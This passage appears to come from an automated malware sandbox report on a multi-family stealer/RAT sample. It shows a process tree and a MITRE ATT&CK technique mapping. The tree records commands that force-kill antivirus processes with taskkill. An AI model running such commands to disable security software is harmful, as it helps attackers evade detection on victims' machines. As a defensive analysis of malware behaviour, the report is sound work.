    taskkill /F /IM McAPExe.exe
    3⤵
    PID:2560
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM fshoster32.exe >nul 2>&1
  2⤵
  PID:2316
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4952
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM fshoster32.exe
    3⤵
    - Kills process with taskkill
    PID:2528
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM fsgk32.exe >nul 2>&1
  2⤵
  PID:4328
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM fsgk32.exe
    3⤵
    PID:5812

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
PID:3004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:2512

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:1924

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:2704

C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
1⤵
PID:2668

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

Software Discovery

T1518

Security Software Discovery

T1518.001

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489